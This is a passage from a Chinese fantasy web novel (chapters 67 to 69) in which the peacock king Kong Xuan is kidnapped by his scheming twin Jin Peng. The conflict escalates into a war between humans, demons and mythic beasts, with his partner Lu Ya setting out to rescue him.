陆压神色冷淡,此刻却极为诚实地“嗯”了一声。 他摩挲着青年的手背,目光在他明媚张扬的眉眼掠过。 陆压补充:“很怕。” 第67章 第67章完结倒计时2 男人直白的…… 男人直白的话语落在耳中, 孔宣压抑不住的嘴角拼命上翘,他脸色动容一瞬,彻底漫开了笑容,弯起眉眼一把抓住了他的手。 “放心吧, 我不想死谁也奈何不了我。” 孔雀大王眉飞色舞, 说话嚣张又自信, 眼睛亮晶晶地拍了拍胸脯大咧咧保证。 他肆意许诺,似乎没有任何人能委屈压折他。 陆压垂下眼睫, 摩挲着青年的手背,低低地“嗯”了一声。 细长的手指被他扣在指尖, 两只手交错着十指相扣,如一道枷锁,死死连接着彼此。 孔宣眉梢轻扬,还是没有忍住笑,故意偏过头不让陆压看见, 撑着下巴注视着窗外的风景。 窗外千篇一律的翠绿极速飞去,被高铁远远抛在身后。 这一趟列车从来广一路向北, 中途停了好几次, 坐了接近十个小时终于到达了目的地。 ——来施市。 来施位于内陆,是曾经楚地神话的发源地, 东皇太一与诸多云梦众神在此沉眠, 地理人文十分优越,行走在道路上还能看到曾经楚地的文化遗迹。 孔宣睡了一觉, 下高铁时忍不住伸了伸腰,脱力般一头栽在陆压身上。 “人类的科技……”一点都不舒服! 孔雀大王要闹了! 陆压一把接住软软倒下的孔雀大王,淡定地扶住他后腰往身上带了带,像是捋直一条软体生物。 软绵绵的孔雀大王流泻般攀上陆压的肩膀, 手脚并用地往上爬,爬到陆压背上,撒气地哼唧。 “背我。” “好。”陆压熟练地将人背起,问询般歪头:“我们先找个地方住一晚?” 孔宣可不要,他扑腾着腿一边拒绝一边扒拉陆压的头发,猛猛摇头:“才不要!才不要!” “现在就去!”他清脆发号,说话不容置喙。 “早点去早点回不周山!” 他们到车站的时候都七点多了,明亮的人类车站人来人往,外面却是一片昏暗的景色,车流打着车灯在人类钢铁森林里来回交错,流泻出一条长长的车灯洪流。 一辆出租车在他们面前停下。 司机一边开车一边点着烟,重重吸了一口狐疑发问:“你们这么晚还去景区?那地方有什么好去的,大晚上黑布隆冬的,当心有妖怪来吃你们哦。” “你们年轻人天天玩手机还不知道啊?现在外面妖怪多,和人长得一样一样的,会吃人。” 哈? 孔宣飞速翘起眉头,好整以暇地抱住手臂,听司机在那里侃侃而谈:“你就不怕我们也是妖怪?” “这可是你说的,说不定什么时候身边人就变成妖怪了呢。” 孔雀大王恶趣味不减,一开口把司机都震了震。 司机支吾几声,脸色越来越难看,干笑着迟疑:“这、这不能吧……” “怎么不能?”孔宣又问。 他眉眼秾烈漂亮,斜飞凌厉的长眉、漂亮惑人的眼睛、还有微微翘起弧度的艳唇…… 肤白唇红,乌发秾烈,活像是神话故事里勾人心魄的艳鬼。 司机被骇了一跳,瞳孔胡乱颤抖着,连烟烧到指尖都没发现。 陆压轻声提醒:“大王。” 孔宣顿时吃吃笑了起来,了无趣味地摆摆手,亲昵地靠在陆压肩上:“胆子真小。” 陆压摸了摸他的侧脸,出声安抚司机,语气里的维护直白鲜明:“他开玩笑的。” 司机干笑两声:“这、这玩笑也不好笑……” 司机不敢再说这些有的没的了,连路都不绕了,开到景区门口收了钱就要走。 漆黑的景区门口只有陆压和孔宣两个人,直条条地竖在门口,远远看去,身影模糊在黑暗中,身后的树枝在风中张牙舞爪,更加惊悚可怖。 连普普通通的出租车司机都知道了有妖怪伤人。 陆压思索着,无意识按了按手机按键,旋即他挑起目光,眼神跟随在欢快的孔雀大王身上。 不管了。 陆压快步走到孔宣身边,孔宣正挑剔人类搭建的钢铁建筑,不高兴地鼓了鼓嘴巴。 “怎么哪里都有人类,这地方几百年前都没人,世界上还有没有人类的地方吗?” 孔宣抱怨着,随随便便就翻过来人类搭的水泥墙。 “鸦鸦!” 他叫了一声,一个身影干净利索地跟着翻了进来。 陆压将两张钞票压在门口的收费亭里,视线在小亭子里的宣传册上扫了一圈,与孔宣肩并肩走上人类修筑的栈道。 他们来的地方是一处天然峡谷,峡谷凹陷入地,犹如一把剑将山体割裂劈开,百里绝壁和奇峰异石林立成一片深不见底的黝黑峡谷,在黑暗中更加神秘诡谲。 人走在修筑的栈桥上,可以直白地看到下面一道粼粼银河穿透峡谷,深深流泻向前,蔓延到月亮的方向,汇聚成一条银带,浮光照亮一片天地。 这片峡谷被人类开发成景区,每年都有无数人走过,观看自然奇观感慨大自然的鬼斧神工。 却没有人知道,曾有一只金乌在此地陨落。 孔宣脚步飞快,噌噌踩上了楼梯高处,回头朝陆压眨眼:“鸦鸦,快跟上!” 他轻盈地蹦到护栏上,背着手踩着栈道的边缘眺望远方。 柔和的月光洒落在他的身上,他身披银白,秾烈的黑发散落腰侧,唯有他的侧脸在月光下盈盈泛光。 莹润的光彩绚丽落入他的眼睛,他目光转动,璀璨的青色在眼中层层散开。 孔宣脸上的笑容收紧,他凝重地俯视下方,一条长长的河流贯穿峡谷,翩然淌向远方。 流动的水珠拍打在石岸,浇出一片细密的水雾,薄薄地漂浮在水面,将一切的痕迹模糊消融,化在黑暗中。 只听见树叶哗哗作响,孔宣沉声道:“天缝被破坏了。” 在他的视角里,浓郁到极点的灵气化成灵雾不间断地从河流溢出,顺着水线流泻四方。 一条明显的裂痕直接贯穿了河底,不间断地吸收着河流与周围的一切,如同绞肉机,生物在水中被搅碎撕裂,又被极速飞驰的水流遮掩。 孔宣伸手,从空中捞到一片怪异的灵气,未知的血腥气挣扎着汇入他的感知。 如陵光所料,有人在破坏天缝。 “鸦鸦,我们得回去找陵光。” 孔宣转过头,却只看到陆压赫然变化的表情。 “大王,小心!” “什——” 一股巨大的推力裹挟着万千流风猛地将孔宣推下,他身形在空中扑腾一瞬,一把扑在陆压怀里。 两个人在地上滚了滚,直接压倒了围栏,半个身体悬空在外。 不等孔宣反应过来,一团巨大的黑影从高空重重袭来,两个人彻底失重,直直摔进峡谷。 “陆压!” 孔宣手忙脚乱,下一瞬间,一团毛绒绒的巨物直接将他包裹,他埋进绒羽中,被裹挟着带向高空。 耳边尖锐的笑声得意又自信:“哈哈哈——陆压!你死定了!” 巨鸟翅膀一扇,瞬间飞出二里地,直直飞进一个阴冷的溶洞中。 孔宣只觉得温度一下湿冷,稀里糊涂地被甩出毛绒绒的翅膀,扑进一片干燥的草叶,两道锁链“哗啦啦”锁在了他的手腕。 他抬起眼,眼前是一片浓重的阴影,一只金黄色的巨鸟矗立面前,冰冷的钟乳石从头顶垂钓,洞穴一片昏暗,只有他坐着的地方敷衍地铺了一点茅草。 孔宣抬起手腕,牵动锁链哗哗作响,这是建木制造的可以锁住灵气的镣铐。 他眉眼冷凝:“金鹏,你这是什么意思?” 将他带回来的巨鸟摇身一变,变成一个眉眼与孔宣几分相似的青年,青年眉眼凶厉,一双鹰眼狡猾锐利,貌似风度翩翩却令人觉得怪异至极。 “好久不见了,哥哥。”金鹏笑容玩味,上挑的语气带着几分按捺不住的欣喜。 “哥哥,我用帝江的血肉给自己造了一具身体,现在我比你厉害多了。” 他双眼锐利,眼中的贪婪与轻蔑如有实质,傲慢地俯视孔宣。 孔宣被他捉了回来,捆了锁链,头发凌乱的模样再也不复之前的光鲜亮丽,他再也没办法俯视自己了。 金鹏只觉得浑身舒爽,浑身的皮毛都忍不住支棱起来,碾压孔宣的快感让他脸上的笑容变得扭曲又恶毒,就这样扭曲地俯视孔宣。 他高高在上,又得意洋洋:“哥哥,你会看到我怎么胜利的。” “而那个该死的陆压、金乌……他被我摔死了!” 孔宣:? 不是? 孔宣有一瞬间觉得金鹏脑子不好使。 他战术性后仰,脸上出现了那种空白又迷茫的情绪,他思考了一瞬间,甚至思考过金鹏不是亲生的。 无果。 他冷冷地逼问:“帝江是你指使大风杀的?” 金鹏含蓄又得意地颔首。 “天缝是你破坏的?” 金鹏嘚瑟又自信地点头。 “……”孔宣闭了闭眼,忍不住骂人的冲动,“你知道这会有什么后果?” 金鹏不以为然,他嗤笑几声,摇摇头嘲笑孔宣:“哥哥,你这样心软是做成大事的。” “你到底是不如我,没有我撕裂天缝,世界上哪来什么灵气复苏?现在妖族还要被人类压着欺负。” “世界毁灭?等我统率了妖族,统治人类之后,我有的是办法修复天缝,不过是再杀几只神兽而已,这真是再划算不过了。” “至于你,哥哥,你从来没有拒绝过我,你会帮我的对吧?” …… 第68章 第68章完结倒计时3 孔宣偏…… 孔宣偏过头, 手指逐渐收紧,良久他才低声问:“你还活着为什么不来找我?” 如果你来找我,我…… 孔宣的思绪一顿。 提到这个,金鹏的表情瞬间变得阴冷狰狞, 他极为扭曲地质问:“来找你, 再让你把我关进没有人的汤谷, 彻底失去自由吗?” 孔宣手指松懈,他怔怔呢喃:“……你是这样想的吗?” 他将妈妈留下来的心羽给金鹏, 费尽心思将他送进安全的汤谷养伤,原来金鹏并不领情。 不如说, 这一切在金鹏眼里都是炫耀。 “你跟我炫耀什么?炫耀妈妈更喜欢你吗?为什么她把心羽给你而不是我?为什么金乌那样的神鸟谁都不理偏偏只喜欢你?为什么你总是那么讨人喜欢?” 金鹏一朝翻身,彻底不装了,他不在孔宣面前装出一副贴心弟弟的模样,肆意贬低痛斥。 旋即,他吃吃地笑了起来, 脸上的狰狞一扫而光,眉眼松弛极为得意地喟叹:“老天还是厚待我的。” “我有了一个天赋出众的女儿, 她的天赋比你厉害得多, 我们爷俩一起,世界都会是我们的……” 金鹏畅销着未来所拥有的一切, 仿佛看到了所有人恭敬畏惧的眼神, 那些看不起他的人或鸟都会死。 他怜悯又虚情假意地对着孔宣笑:“哥哥,我们一起吧, 只要你愿意帮我,以后我儿成为妖皇,我会让她给你一块封地,我们一起过好日子。” “你还是我的好哥哥, 好哥哥,你会帮我的吧……” 金鹏说着说着,就看到孔宣的肩膀抖了抖,他兴奋地俯下身,试图捕捉孔宣可怜狼狈的表情。 没想到下一秒,一个重重的拳头砸在脸上。 金鹏:!!! 孔宣真的再也忍不住这个傻逼了,他攥紧拳头,一拳痛揍在金鹏脸上。 他翻身上前,一脚把金鹏踹到地上。 他身姿挺拔如松,足以锁住所有妖力的镣铐被他取下随手丢到金鹏脸上。 金鹏被砸得惨叫出声,下一秒,一只手将镣铐怼进他嘴里,孔宣连妖力都没用,直接兜头暴揍。 “杀帝江是吧?” “当妖皇是吧?” “你当年对丹雀骗身骗心我还没找你算账呢!” …… 孔宣一顿输出,把金鹏打得嗷嗷叫,爬出去几步硬是被他扯着翅膀拉回来,拔了半翅膀的毛。 一个焦急的声音裹挟万千流风冲了上来,来人张开翅膀,模样似鹤却有一双毛绒绒的鹰爪,长着帅气的鹰脸,发出一声震耳欲聋的鹤鸣:“爹爹!” 金鹏从青紫的缝隙里睁开一只眼睛,获得救赎般大呼:“乖女儿,丹丹,救我!” 丹丹直冲上前,一把将孔宣撞到墙上。 万钧气势将山洞撞得摇摇欲坠,钟乳石噼里啪啦落了满地。 孔宣手上力气一松,面对无辜的侄女,顺势就卸了力气。 丹丹把孔宣怼在墙上,毛绒绒的一团压在他身上,一双鹰眼转动着,眼神里满是讨厌。 “坏鸟!” “丹丹!”金鹏匆匆忙忙爬起来,连滚带爬地滚到孔宣面前,脸上的表情扭曲几瞬,最终定格在讨好。 他到现在还是打不过孔宣。 “哥哥……”金鹏率先示弱。 孔宣冷冷凝视着他:“你说天缝促成了灵气复苏是怎么回事?” 金鹏嘴巴动了动,最终不情不愿地说:“是天道,是世界意识。” “世界意识只是一个机器编码,底层的运行思路是保证世界不会毁灭,当天缝影响到了世界,世界意识会自发消耗能量引发灵气复苏,让获得力量的生灵去填补天缝的残缺。” 他就是利用这一点,促成了灵气复苏。 孔宣又问:“什么时候开始的。” 金鹏眼神闪了闪:“很早。” “多早?” 金鹏不想说,孔宣一拳砸在地上,砸出一个深坑,金鹏一个激灵,小声嘀咕:“快一千年前吧,我将丹丹藏在这里,没想到丹丹差点掉进了天缝。” 说起这个,丹丹扇扇翅膀,得意地挺起胸膛:“啾!” 孔宣顿时窒息,咬牙切齿的声音几乎是从牙缝里钻出来的:“所以你早就破坏了天缝,是你害死了陆压!” 金鹏不服气:“我又没让他去修补天缝!” 要不是金乌害他好事,他早就利用天缝重塑肉身,修炼成强大的神鸟纵横一方了! 孔宣头一低,将脸埋进掌心,深深喘息几声,几乎快气笑了。 “金鹏、金鹏。”他咬牙切齿,恨不得将金鹏嚼碎。 “你到底想干什么!” 一直在听大人说话的丹丹眼睛一亮,扇扇翅膀大声宣布:“当妖皇!纳十八房夫郎!” 金鹏没脾气似地给丹丹鼓掌,好声好气地哄她:“好好好,我们丹丹真有目标。” 孔宣:!!! 不可以!你只是刚成年的小小鸟! 孔宣一拳砸在地上,金鹏立刻低头。 金鹏瑟缩着脖子,小声嘀咕:“我的目的很简单,挑拨人妖大战,然后当妖皇统治人妖两族,之后再也没有人看不起我……” 金鹏越说越兴奋,脸上的表情杂糅着喜悦与幻想还有几分小人得志的欢喜。 他目光盈盈,嗓音轻柔,望着孔宣的目光笃定又溢满了笑意。 “哥哥,你会帮我的,对吧?”他跪在地上,膝行了几步,低眉俯首地伏在孔宣手边,拉着孔宣的手放在自己脸上。 他又露出那样令人怜惜的无辜可怜表情,这样的表情在孔宣面前总是无往不利。 他轻声说:“只要你站在我这边,我就让丹丹放开你,哥哥,以前我做什么你再不愿意都会帮我,这一次也一样的对吧?妈妈死之前,一定说过你要好好照顾我的,对吧?” 没有,妈妈没有说过。 孔宣表情复杂,他偏开头嗓音隐忍:“你收手吧,金鹏。” “晚了晚了!已经没有办法了,哥哥,造反这件事就算我想收手也来不及了,我杀死了帝江,我杀死了那么多人,你是要我去坐牢吗!还是要我去死!” 孔宣到现在还没松口,甚至不再看他,金鹏崩溃了,他大喊大叫,眼里的怨毒与疯狂几乎化作了浓郁的毒酒,如一只鸠鸟,深深扎根孔宣的血肉,攀附在他的身上吸血索取。 金鹏的声音越说越急,急到几乎破音。似乎只要失去了孔宣的纵容,他就会直接枯死。 丹丹被他吓了一跳,一翅膀盖在爹爹头上,小声嘀咕:“爹爹不要叫,好吓人!” “你和我回不周山。”孔宣转过头,他睫羽颤抖,轻声说:“你和我回不周山,所有的一切……生还是死,我们一起承担。我们本来就是同巢双生,我会和你一起生一起死。” “你回吗?” 孔宣的眼神讥讽又失望,他甚至忍不住笑出了声,吃吃地笑了几声,才笃定地回答:“你不会的,金鹏。” 金鹏冷静了一会儿,他凝视着孔宣,冷冷刺他:“你必须得帮我,哥哥,你从来不会放弃我。” 孔宣的眼神混杂着失望与凉薄,他眨动眼睛,眨去眼尾的泪意,眼下流漾的水光不住地辗转摇晃。 “你不用想有人会来帮你,陆压不会,你只有我,哥哥。” 金鹏的声音逐渐远去,毛绒绒的鹤鸟丹丹压在孔宣身上,丹丹歪着脑袋,不高兴地小声嘀咕: “坏鸟!” 孔宣歪头:“为什么骂我?” 丹丹理所当然地说:“都怪你,让爹爹不高兴了!” “可是我也不高兴。”天真烂漫的丹丹让孔宣忍不住发笑,他笑过后又忍不住失神:“他害死了我最喜欢的鸟。” 丹丹的小脑袋瓜还想不到那么多,她想了想,状似大方地点头:“那好吧,我原谅你了,如果你害死了爹爹我也会不高兴的。” 孔宣刚觉得丹丹天真可爱,就感觉丹丹动了动,故意把毛茸茸的毛屁股直接怼在他的脸上。 孔宣顿时:!? 金鹏!你都教了你女儿什么! 与此同时,来恩峡谷。 “啪”破损的栈道边缘突然攀上一只手,一片漆黑中,一个人影从深不见底的峡谷爬上。 男人眉眼凉薄锐利,单手将自己摔上栈道,马丁靴踩住飘落的金羽,冷冷地扯开嘴角。 “陵光?” 角落里走出一个影子,红发张扬的青年拂了拂头发,漫漫长发如浓密的海藻般披在他的肩膀,他眉眼带笑,张扬地朝陆压挑了下眉。 “别找了,你老婆被金鹏带走了。” 陆压低头,忍不住咬牙切齿,嗓音凝重低沉,阴影遮住了他的眉眼,唯有一双明亮的眼睛泄出冷冽光彩:“我要把他带回来!” “没用的,他已经不属于我们这边了。他从不会拒绝金鹏的任何要求。” 陵光摇头,秾烈的红发犹如太阳,明艳又张扬,在深沉的黑夜犹如明火熠熠生辉。 他拍拍陆压的肩膀,低声笑叹:“节哀。” 他意味深长地敛起眼尾,斜目时眼神锐利至极,绮丽地落在陆压身上: “金鹏挑起了战争,他不会成功的,陆压,你会站在我们这边的对吧?” 【全文完结】 第69章 第69章完结倒计时(完) …… “滴答、滴答——”规律的水滴穿石, 在静谧的溶洞中构成一连串安稳平和的乐曲。 洞中一片黑暗,看不见日月分辨不清时间,毛绒绒的大鸟盘在成一团,随着呼吸轻轻起伏, 身上的羽毛飘飘摇摇。 在丹丹睡着之后, 孔宣轻手轻脚地从角落里脱身, 他抱着手臂凝视眼前的漂亮小鸟,神色怔怔不明。 他出神想着什么, 身后传来脚步声,粗粝熟悉的嗓音响起:“孔雀。” “大风。”孔宣转头, 看见了一身桀骜的大风:“你还敢出现在我面前。” “怎么不敢?我和金鹏也算是利益交易,和你又没什么矛盾,你总不会想杀我吧?” 大风一点都没有杀死帝江的后悔与恐惧,他随便在地上盘腿坐下,支棱起腿随意地摆了摆手, 颇为无赖地调笑:“哎呀,你那个好弟弟, 混世魔王, 说不定马上就要当妖皇了呢,我跟着他也算是股肱之臣、从龙之功吧?” “从龙之功?”孔宣忍不住发笑, 他讥讽地挑起眉头, “你就没有想过要是金鹏骗了你呢?” 从龙之功?也得有命才能拿。 大风自己说了都想笑,他笑了几声, 笑容逐渐收敛,眼中只有认真:“孔雀,我不在乎谁当妖皇,我只想要我老婆回来, 我已经回不了头了。” 他帮金鹏杀死了帝江当投名状,已经不被神兽所容,他唯有帮金鹏一条路走到底,所有的罪孽才能一笔勾销。 成王败寇,不外如是。 “孔雀,你不懂。”大风眸色深沉,他凝望着孔宣,目光中是十足的笃定。 他说:“这条河下面是什么?是东君与日母的埋骨地,他们毕生灵气所造的日晷就在下面,只要有足够的灵气就能启动日晷,自此时间倒流,我想要的一切都会回来。” 他老婆的灵魂,他所能得到的权势地位,所有的一切! 黑暗之中,大风眼中的贪婪与压抑早已化作对未来的向往与笃定,他咧开嘴,笑得胜券在握。 “孔雀,你也不要想那些乱七八糟的,好好帮金鹏不行吗?这可是你的弟弟、侄女,你唯一的亲鸟,他要是当上妖皇你的权势会比我还要高。” 大风劝说着,试图用至爱亲朋来打动孔宣。 “我不懂?”孔宣真的要气笑了:“我不懂?” 孔宣忍不住骂了一句脏话,愤怒地竖起中指,皮笑肉不笑地扯出一个狞笑。 傻哔! 一群傻哔! “天缝扩大是什么好事吗?世界要毁灭了你们到时候想怎么补?孩子死了奶来了?” “还日晷,东君和日母的日晷怎么来的?那是金乌放过去的,他为了修补天缝以身为祭,以日晷镇压封印不让天缝扩散……这下好了,你们把封印破了日晷拿了,是你们的吗你就用!” “蠢货!文盲!傻哔!” 就算按照继承法那日晷也是他的!他和金乌结婚了,他是金乌的小寡夫!怎么有人当着寡夫的面瓜分他丈夫遗产! 孔宣一顿输出,把大风骂得狗血淋头。 他气急败坏,一想到这群傻哔又是破坏天缝又是打日晷主意,只觉得这群傻哔真的一点脑子都没有。 时间倒流有什么用? 日晷能逆流时空,让死去的人复活,但这样逆转天道轮回的存在所需要的灵气也是巨大的,牵扯的人数越多越难回转。 千年以来,那么多条生命,大风就是把天下人全献祭了都不行! 金鹏到时候修补天缝都来不及,拿什么帮他? 一群傻哔! 金鹏傻,大风蠢,丹丹…… 孔宣揉了揉额角,突然意识到还有丹丹。 他转过头,一双硕大的眼睛在他后面炯炯有神地看着他。 “你骂我爹!”丹丹指责。 孔宣:…… 他耍赖般一下子坐在地上,疑似失去了所有力气和手段。 “我不管了,你们这群蠢货!都去死吧!” 去送死吧,送不被定义的死。 孔宣冷眼旁观,彻底开始摆烂。 大风被他骂走了,丹丹也被他追在屁股后面赶小鸡似地赶走了,他就往角落里的黑暗一坐,谁都不爱搭理。 孔宣抱着手臂,眼睛盯着前面的钟乳石,似乎看着水滴落下就是天底下最有趣的事了。 四下无人,他头脑清晰,手下抓着几块石子,思索间面色越发冷凝。 正思考着,一个小小的声音“哎哎”叫唤。 孔宣头一低,一张熟悉的脸从旁边的缝隙中露出。 一只青脑袋从缝隙里钻出来,一开口熟悉的声音:“孔雀,孔雀——” 穆怜青。 “呦,这不是青鸾吗?”孔宣抱着手臂,阴阳怪气地讥讽,脸上只剩下淡淡的死意,整个人萎靡落拓。 “哦,你也当上我侄女的第不知道几房小妾了?” 穆怜青:“……你再这样,我们就不是好朋友了。” “被抓来我也很倒霉的好吧?我还给朱雀传了信,也不知道他有没有收到,什么时候来救我,那个小魔头我是真打不过……” 穆怜青叽叽喳喳说了一通,孔宣思索着,猝然抬起眸子:“你能往外送信?” “当然,我可是送信青鸟……”穆怜青一说到送信,立刻支棱起精神:“要不你给我根羽毛,我尝试送一送?说不定朱雀看我们俩都被抓了就来救我们来呢?” “得了吧,他顾不上你了。”什么时候了,还指望陵光呢。 孔宣无语地甩了他一个眼神,他突然想到什么,支棱起来扒拉着小缝隙,问隔壁的穆怜青:“你能送多远的信?不周山能送吗?” “可以是可以……你要送谁?” “你按我说的送,让她务必快快来。” …… 两只鸟嘀嘀咕咕,手忙脚乱用羽毛传信。 一支青色的尾羽在穆怜青的手中瞬间化作了一道流萤,飞速地拐出溶洞,飞向远方。 穆怜青把信送出去,刚想问问孔宣他们接下来怎么办,就见孔宣朝自己勾勾手。 “你跟我说说,金鹏现在实力怎么样?你觉得把他塞天缝里能不能补上窟窿?” . “天都要被他们捅个窟窿了,你叫我怎么冷静?” 会议室内,陵光愤怒地一拍长桌,视线扫过众人。 宽敞的会议大厅,密密麻麻坐了几十号人。 “能不能合作,给一句话!” 此刻也只有他一个人的声音。 安静过后,九尾狐举起了手:“朱雀,我并不赞同你所谓的合作,诸位,别忘了现在外面是什么舆论,现在人和妖的矛盾我们无法调和,我们又怎么能保证事情过后人类不会对我们赶尽杀绝?” “哈?”陵光凤眸凌厉,视线扫过在场的人、妖:“你的意思是,就任由第三方势力挑拨离间、各种小动作恶心人,把天捅破了世界要毁灭了,你再来想办法是吗?” “我觉得,这件事我们需要核查讨论一下。”人类代表开了口。 “是要核查讨论,还是想拖延时间,好盘算杀死我们的方法?”脾气爆的妖族开口怼他。 “这不能你们说什么就是什么……” “那事实就在这里,你们想怎么办?” …… 瞬时间,整个会议厅吵成一团。 就在这个时刻,一个小秘书匆匆忙忙推开门,大声说:“不好了!有妖在网上宣布要武装统治人类!” 人类代表:!!! 妖族代表:??? “……各位妖族同胞们,我们再也不能忍受这样的日子哪怕一天!看看这些人类吧!他们孱弱无能又自负傲慢,自诩为世界的主人,却对我们赶尽杀绝。 那些人类肆意破坏环境,屠杀我们的同族,我们只是稍稍回敬一下,他们就要对我们喊打喊杀恨不得我们从来不存在这个世界。 人类屠杀灭绝了那么多物种,难道我们还要再忍下去吗?终有一天,我们会被他们赶尽杀绝!兄弟们姐妹们,团结起来,统治人类,让这些人类感受到我们曾经遭受的压迫和痛苦,至死方休! ……” 一张阴郁深邃的脸出现在电视台的屏幕上,他肆意陈述,慷慨激昂地演讲,不停地鼓动人、妖对立。 所有人看着他在屏幕里肆意陈词,原本还吵成一团的人瞬间面面相窥,只觉得荒谬与恐惧。 无论是人、妖,脑子里只有一个想法:这家伙来真的? 散会之后,陆压从人群中走过。 “陆组长,人类需要你。” “陆压,孔宣站到我们的对立面了。” 玉先生站在人类的身边,低声对陆压说:“你会帮我们的对吧?陆组长。” “你会选择哪一边?陆压。”陵光斜睨着眼神,肆意地尖锐化在眼尾,只余下一片战意。 所有人为他让开道路,用敬畏或期待的目光注视着他。 陆压抬眸,眼神似刀出鞘般锐利明亮,他语气凉薄,却带着难以回转的决心。 “我会上战场,去把孔宣带回来。” 陵光玩味:“哦?那万一他不肯跟你走呢?” 陆压眸色深沉,风吹动他的衣摆,他浑身冰冷,像是裹挟着西伯利亚长久的冰霜与硝烟,语句简短,语气笃定。 “带回来,关起来。” 是我的了。 今夜注定是一个不眠之夜。 “快快快!都往这边来。” 震动的飞机轰鸣从天空划过,军用机场彻夜通明,通讯兵挥舞着手旗,跟随在上官的身侧。 士兵们排成一列,挨个从发放物资的同志手中接过枪械,张振军站在旁边,挨个拍拍他们的肩膀,低声嘱咐注意事项。 “记住,胳膊上系了红带子的是我们的同志,不要看误伤站在我们这边的妖族同胞。” “这战必须要打,要打得漂亮,要打得干脆,必须让那些妖怪看到我们人类的能力。” “注意自己的安全,必要的时候……保重。” …… 张振军挨个嘱咐,一个一个看过去。 士兵们抬手朝张振军敬礼,没有任何迟疑地踏上前往前线的飞机。 空无一人的地铁站内。 兜着手的年轻男女翻过封锁,鞋子踩进幽深的地铁通道里,冰冷的风吹过他们的长发,也拂过他们手臂上鲜红的带子。 “真的要去帮那些人类吗?”有妖迟疑着停下脚步。 “反正我们是妖,如果那些大神真的成功率,对我们也不是没有好处。” 抱着红色全家桶的青年一头撞向纠结的那人,他扬起眉头,露出挑衅自傲的表情:“那你就躲起来嘛,看看到底是人类获胜还是妖族先建国咯。” “天道兴人类,这么多年王朝更替成王败寇,你有没有想过要是妖族败了我们会有什么下场?” “切,这不就是两头下注?” “要是人类死了,世界上可就没有这么好吃的美食,那么好玩的网络……那也太无聊了吧?” “统治他们不就行了?” “可是很多人类都是无辜的啊。” “他们享受了科技了进步,真的就全然无辜吗?现在付出代价有什么不对?” “照你这么说,我们也享受了啊!几千年来有什么时候比现在过得好?” “那也是我们自己争取的……” …… “好了。” 早已等候在地铁深处的妖族举起手里的探照灯,映出他惨白无色的脸。 眉眼悲悯、佛骨仙貌的玉先生轻柔地笑笑:“如果有妖不愿意,那就退出吧。” “……” 刚才还吵翻天的妖族顿时嘁了一声,没有丝毫犹豫,抬手在胳膊上系上红绸。 一直闭眼沉默的男人在黑暗中抬起头,他站到道路中间,凝望远处那片光亮,手掌握着刀柄,长长的唐刀拖拽在地上,如一片锐利的剪羽。 “走吧。” 他周身气势凌厉,如刀锋出鞘,锐气如虹。 冰冷的嗓音劈开黑暗,随着他话音落下,众妖跟随他的脚步,朝着未知的黎明前进。 四面八方前来的妖怪与人类武装几乎在同一时间赶往了来恩市,他们来势各异。 此刻,天色将明,月亮越见浅淡,明亮的阳光划破天空,秾烈梦幻的朝霞伴随众妖前进的方向而来,浩浩荡荡、缥缈无垠。 数不尽的神兽、妖族,将奇峰深潭围得水泄不通,连天光都无法透出,在混乱昏暗的天幕中,无数黑点在天空中扇动翅膀。 飞机轰鸣声低空掠过,坦克履带气势汹汹地碾过地面,一排排训练有素的狙击手在崎岖山峰中排兵布阵。 一声鸟鸣直通天地,水泄不通的黑影猝然散开一道裂痕,光芒顺着裂痕投射,落在最中心的黑影身上。 黑影摇身一变,变作帅气阴郁的青年,他抱着手臂,无边浩瀚的巨影落在他的身后,他傲气颔首,面露不屑:“你们这就迫不及待来送死了吗?” “大风,杀了他们。”金鹏肆意指挥。 “老子可不是你的狗。”大风嘀咕一句,旋即大喊一声,尖锐的鸟鸣刺破天地,掀起无边浩瀚流风。 流风形成巨大的龙卷滚动刮蹭过周围,顿时间飞尘四起,过于轻盈的人类与山石树木通通被卷进其中,一些挣扎不过的小妖也惊恐尖叫着被卷进其中。 就在这时,一道鲜亮的红影猛然撞开围上来的大风,翅膀一扇偏头咬在大风的身上,恶狠狠鸣叫:“大风,该为你的行为付出代价了!” 大风痛苦地鸣叫一声,随着翅膀扇动龙卷风,如一道一道末日阴影瞬间席卷了世界。 陵光扭头大喊:“你们还愣着干什么!上啊!” 冲上前的几只神兽被金鹏阻拦,金鹏翅膀一挥,尖锐的爪子在空中兴奋地抓了抓:“让我来试试你们的实力!我现在可比你们都厉害了!” “这家伙怎么比之前厉害这么多?”过来帮忙的白虎忍不住骂了一声。 他虎啸一声,直直扑向天空,张嘴撕咬在金鹏的翅膀,金鹏翅膀一扇,居然将他随手甩出。 “白虎!”青龙回头,飞速将白虎卷起。 再一抬头,长着翅膀的穷奇猛猛撞了上去。 金鹏浑身有力,翅膀一扇,顿时把穷奇扇得找不着北。 “哈哈哈!”第一次这么厉害的金鹏大喜过望,得意忘形地狂笑:“你们都打不过我!还有谁?还有谁!” “乖乖对我俯首称臣吧!” 一片混乱中,金鹏没有注意到,一个微小的人影攀过山峰,轻盈地踩过天空中飘动的碎石、木块,长刀出鞘,银光闪过。 陆压一刀斩破巨大的龙卷风,将千年狂暴的流风平直切开,瞬时风消云散,冰冷的刀光从金鹏头顶直直劈下。 就这么一下,金鹏嚣张的笑声瞬间打断。 所有的一切在他眼里仿佛变得十分缓慢荒谬,他不可置信瞪大眼睛,只感觉头顶像是被劈开般剧烈震痛,紧接着巨大的力量将他劈下,他不受控制地直直坠落。 “轰隆——” 山石被刀势劈碎,簌簌砸在金鹏的头上,金鹏砸进深深泥坑,冰冷的水流灌进他的喉咙,他不可置信到发出尖叫。 “陆压!” “陆压!” 金鹏在水中疯狂挣扎,千年前被暴打的恐惧让他无意识地瑟缩起瞳孔,在感受到压在头顶的人又举起了刀,濒临死亡的崩溃令他疯狂怒吼。 他大喊大叫,狰狞嘶吼:“你不能杀我!你不能杀我!” “丹丹!丹丹!哥哥!哥哥!救我救我——” 陆压的脸色模糊在强烈的天光中,他缓慢地抬起了手,没有任何迟疑地举起接近一米六的长刀,如同劈柴砍木,万钧神力加注刀身。 就在此刻,一声似鹤的鸣啼清脆响起:“爹爹!” 似鹤似鹰的飞鹰直直撞向陆压,陆压抬手抵挡,尖锐的喙嘴被他拦下,巨力冲击之下他脚步不住后移,砸进山体的同时手中的长刀应声而断。 陆压手指收紧攥紧成拳,一拳砸向丹丹脑袋。 丹丹尖叫一声,瞬间被砸出数百米,摔得人仰马翻。 她正要翻起,一只五色华丽的鹤鸟从天而降:“住手!” 丹丹和金鹏同时抬头,金鹏瞬间面色扭曲:“丹雀!你还活着——” 他嗓音嘶哑,几乎破音,声声泣血。 